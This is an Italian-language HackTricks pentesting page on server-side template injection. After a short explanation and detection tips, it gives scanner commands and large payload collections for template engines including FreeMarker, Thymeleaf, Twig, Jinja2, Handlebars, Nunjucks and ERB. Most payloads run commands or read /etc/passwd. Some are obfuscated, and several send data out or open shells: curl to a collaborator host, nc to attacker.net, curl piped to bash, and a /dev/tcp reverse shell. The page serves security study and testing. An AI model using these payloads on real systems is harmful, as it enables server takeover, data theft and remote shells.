hacktricks/pentesting-web/ssti-server-side-template-injection
2024-11-19 12:00:42 +00:00
..
el-expression-language.md Translated ['README.md', 'crypto-and-stego/hash-length-extension-attack. 2024-09-04 13:32:48 +00:00
jinja2-ssti.md Translated ['network-services-pentesting/pentesting-smtp/smtp-smuggling. 2024-08-18 11:02:21 +00:00
README.md Translated ['README.md', 'binary-exploitation/format-strings/README.md', 2024-11-19 12:00:42 +00:00

SSTI (Server Side Template Injection)

{% hint style="success" %}

https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeImpara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks
{% endhint %}

RootedCON è l'evento di cybersecurity più rilevante in Spagna e uno dei più importanti in Europa. Con la missione di promuovere la conoscenza tecnica, questo congresso è un punto di incontro vivace per professionisti della tecnologia e della cybersecurity in ogni disciplina.

{% embed url="https://www.rootedcon.com/" %}

Cos'è SSTI (Server-Side Template Injection)

L'iniezione di template lato server è una vulnerabilità che si verifica quando un attaccante può iniettare codice malevolo in un template che viene eseguito sul server. Questa vulnerabilità può essere trovata in varie tecnologie, incluso Jinja.

Jinja è un popolare motore di template utilizzato nelle applicazioni web. Consideriamo un esempio che dimostra un frammento di codice vulnerabile utilizzando Jinja:

output = template.render(name=request.args.get('name'))

In questo codice vulnerabile, il parametro name della richiesta dell'utente viene passato direttamente nel template utilizzando la funzione render. Questo può potenzialmente consentire a un attaccante di iniettare codice malevolo nel parametro name, portando a un'iniezione di template lato server.

Ad esempio, un attaccante potrebbe creare una richiesta con un payload come questo:

http://vulnerable-website.com/?name={{bad-stuff-here}}

Il payload {{bad-stuff-here}} è iniettato nel parametro name. Questo payload può contenere direttive del template Jinja che consentono all'attaccante di eseguire codice non autorizzato o manipolare il motore del template, potenzialmente guadagnando il controllo sul server.

Per prevenire vulnerabilità da server-side template injection, gli sviluppatori dovrebbero assicurarsi che l'input dell'utente sia correttamente sanificato e convalidato prima di essere inserito nei template. Implementare la convalida dell'input e utilizzare tecniche di escaping consapevoli del contesto può aiutare a mitigare il rischio di questa vulnerabilità.

Rilevamento

Per rilevare Server-Side Template Injection (SSTI), inizialmente, fuzzing del template è un approccio semplice. Questo comporta l'iniezione di una sequenza di caratteri speciali (${{<%[%'"}}%\) nel template e l'analisi delle differenze nella risposta del server ai dati regolari rispetto a questo payload speciale. Gli indicatori di vulnerabilità includono:

  • Errori generati, rivelando la vulnerabilità e potenzialmente il motore del template.
  • Assenza del payload nel riflesso, o parti di esso mancanti, implicando che il server lo elabora in modo diverso rispetto ai dati regolari.
  • Contesto in chiaro: Distinguere da XSS controllando se il server valuta le espressioni del template (ad es., {{7*7}}, ${7*7}).
  • Contesto di codice: Confermare la vulnerabilità alterando i parametri di input. Ad esempio, modificare greeting in http://vulnerable-website.com/?greeting=data.username per vedere se l'output del server è dinamico o fisso, come in greeting=data.username}}hello che restituisce il nome utente.

Fase di identificazione

Identificare il motore del template comporta analizzare i messaggi di errore o testare manualmente vari payload specifici per linguaggio. I payload comuni che causano errori includono ${7/0}, {{7/0}}, e <%= 7/0 %>. Osservare la risposta del server a operazioni matematiche aiuta a individuare il motore del template specifico.

Identificazione tramite payload

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg

Strumenti

TInjA

un efficiente scanner SSTI + CSTI che utilizza poliglotti innovativi.

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

SSTImap

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

Tplmap

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

Template Injection Table

una tabella interattiva contenente i polyglot di template injection più efficienti insieme alle risposte attese dei 44 motori di template più importanti.

Exploits

Generico

In questa wordlist puoi trovare variabili definite negli ambienti di alcuni dei motori menzionati di seguito:

Java

Java - Iniezione di base

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - Recupera le variabili d'ambiente del sistema

${T(java.lang.System).getenv()}

Java - Recupera /etc/passwd

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Puoi provare i tuoi payload su https://try.freemarker.apache.org

  • {{7*7}} = {{7*7}}
  • ${7*7} = 49
  • #{7*7} = 49 -- (legacy)
  • ${7*'7'} Niente
  • ${foobar}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Bypass della sandbox

⚠️ funziona solo su versioni di Freemarker inferiori a 2.3.30

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Ulteriori informazioni

Velocity (Java)

// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

Ulteriori informazioni

Thymeleaf

In Thymeleaf, un test comune per le vulnerabilità SSTI è l'espressione ${7*7}, che si applica anche a questo motore di template. Per una potenziale esecuzione remota di codice, possono essere utilizzate espressioni come le seguenti:

  • SpringEL:
${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf richiede che queste espressioni siano posizionate all'interno di attributi specifici. Tuttavia, l'inserimento di espressioni è supportato per altre posizioni di template, utilizzando una sintassi come [[...]] o [(...)]. Pertanto, un semplice payload di test SSTI potrebbe apparire come [[${7*7}]].

Tuttavia, la probabilità che questo payload funzioni è generalmente bassa. La configurazione predefinita di Thymeleaf non supporta la generazione dinamica di template; i template devono essere predefiniti. Gli sviluppatori dovrebbero implementare il proprio TemplateResolver per creare template da stringhe al volo, il che è raro.

Thymeleaf offre anche preprocessing delle espressioni, dove le espressioni all'interno di doppi underscore (__...__) vengono preprocessate. Questa funzionalità può essere utilizzata nella costruzione di espressioni, come dimostrato nella documentazione di Thymeleaf:

#{selection.__${sel.code}__}

Esempio di Vulnerabilità in Thymeleaf

Considera il seguente frammento di codice, che potrebbe essere suscettibile a sfruttamento:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

Questo indica che se il motore di template elabora questi input in modo improprio, potrebbe portare all'esecuzione di codice remoto accedendo a URL come:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Ulteriori informazioni

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Bypass filters

È possibile utilizzare più espressioni variabili; se ${...} non funziona, prova #{...}, *{...}, @{...} o ~{...}.

  • Leggi /etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Script personalizzato per la generazione del payload
#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

Ulteriori informazioni

Manipolazione della Vista di Spring (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Versione precedente di Pebble ( < versione 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Nuova versione di Pebble :

{% raw %}
{% set cmd = 'id' %}
{% endraw %}





{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava è un progetto open source sviluppato da Hubspot, disponibile su https://github.com/HubSpot/jinjava/

Jinjava - Esecuzione di comandi

Corretto da https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Ulteriori informazioni

Hubspot - HuBL (Java)

  • delimitatori di dichiarazione {% %}
  • delimitatori di espressione {{ }}
  • delimitatori di commento {# #}
  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
  • {{'a'.toUpperCase()}} - "A"
  • {{'a'.concat('b')}} - "ab"
  • {{'a'.getClass()}} - java.lang.String
  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest
  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

Cerca "com.hubspot.content.hubl.context.TemplateContextRequest" e scopri il progetto Jinjava su Github.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% raw %}
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
{% endraw %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Ulteriori informazioni

Expression Language - EL (Java)

  • ${"aaaa"} - "aaaa"
  • ${99999+1} - 100000.
  • #{7*7} - 49
  • ${{7*7}} - 49
  • ${{request}}, ${{session}}, {{faceContext}}

L'Expression Language (EL) è una funzionalità fondamentale che facilita l'interazione tra il livello di presentazione (come le pagine web) e la logica applicativa (come i managed beans) in JavaEE. Viene utilizzato ampiamente in diverse tecnologie JavaEE per semplificare questa comunicazione. Le principali tecnologie JavaEE che utilizzano EL includono:

  • JavaServer Faces (JSF): Utilizza EL per collegare i componenti nelle pagine JSF ai dati e alle azioni corrispondenti nel backend.
  • JavaServer Pages (JSP): EL è utilizzato in JSP per accedere e manipolare i dati all'interno delle pagine JSP, rendendo più facile collegare gli elementi della pagina ai dati dell'applicazione.
  • Contexts and Dependency Injection for Java EE (CDI): EL si integra con CDI per consentire un'interazione fluida tra il livello web e i managed beans, garantendo una struttura applicativa più coerente.

Controlla la seguente pagina per saperne di più sull'sfruttamento degli interpreti EL:

{% content-ref url="el-expression-language.md" %} el-expression-language.md {% endcontent-ref %}

Groovy (Java)

I seguenti bypass del Security Manager sono stati presi da questo writeup.

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

Other Java

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg

RootedCON è l'evento di cybersecurity più rilevante in Spagna e uno dei più importanti in Europa. Con la missione di promuovere la conoscenza tecnica, questo congresso è un punto di incontro vivace per professionisti della tecnologia e della cybersecurity in ogni disciplina.

{% embed url="https://www.rootedcon.com/" %}

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Ulteriori informazioni

Twig (PHP)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{7*'7'}} = 49
  • {{1/0}} = Errore
  • {{foobar}} Niente
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - Formato del template

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Ulteriori informazioni

Plates (PHP)

Plates è un motore di templating nativo di PHP, che trae ispirazione da Twig. Tuttavia, a differenza di Twig, che introduce una nuova sintassi, Plates sfrutta il codice PHP nativo nei template, rendendolo intuitivo per gli sviluppatori PHP.

Controller:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

Modello di pagina:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

Layout template:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

Ulteriori informazioni

PHPlib e HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB è lo stesso di PHPlib ma portato su Pear.

authors.tpl

<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

authors.php

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Ulteriori informazioni

Altro PHP

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*u4h8gWhE8gD5zOtiDQalqw.jpeg

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Ulteriori informazioni

patTemplate (PHP)

patTemplate motore di templating PHP non compilante, che utilizza tag XML per dividere un documento in diverse parti

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

Ulteriori informazioni

Handlebars (NodeJS)

Path Traversal (maggiori informazioni qui).

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = Errore
  • ${7*7} = ${7*7}
  • Niente
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

Ulteriori informazioni

JsRender (NodeJS)

Template Descrizione
Valuta e rende l'output
Valuta e rende l'output HTML codificato
Commento
e Consenti codice (disabilitato per impostazione predefinita)
  • = 49

Lato Client

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

Lato Server

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

Ulteriori informazioni

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

Esempio di rendering lato server

var pugjs = require('pug');
home = pugjs.render(injected_page)

Ulteriori informazioni

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = Nessun output
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = Errore
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}

Ulteriori informazioni

Altri NodeJS

https://miro.medium.com/v2/resize:fit:640/format:webp/1*J4gQBzN8Gbj0CkgSLLhigQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*jj_-oBi3gZ6UNTvkBogA6Q.jpeg

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Errore
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Ulteriori informazioni

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

Ulteriori informazioni

Altro Ruby

https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg

Python

Controlla la seguente pagina per imparare trucchi su bypassare l'esecuzione di comandi arbitrari nelle sandbox in python:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Errore
  • {{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}






{{os.system('whoami')}}
{{os.system('whoami')}}

Ulteriori informazioni

Jinja2 (Python)

Sito ufficiale

Jinja2 è un motore di template completo per Python. Ha pieno supporto unicode, un ambiente di esecuzione sandbox integrato opzionale, ampiamente utilizzato e con licenza BSD.

  • {{7*7}} = Errore
  • ${7*7} = ${7*7}
  • {{foobar}} Niente
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}






{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - Formato del template

{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


RCE non dipendente da __builtins__:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Maggiori dettagli su come abusare di Jinja:

{% content-ref url="jinja2-ssti.md" %} jinja2-ssti.md {% endcontent-ref %}

Altri payload in https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

Ulteriori informazioni

Altro Python

https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg

Razor (.Net)

  • @(2+2) <= Success
  • @() <= Success
  • @("{{code}}") <= Success
  • @ <=Success
  • @{} <= ERROR!
  • @{ <= ERRROR!
  • @(1+2)
  • @( //C#Code )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
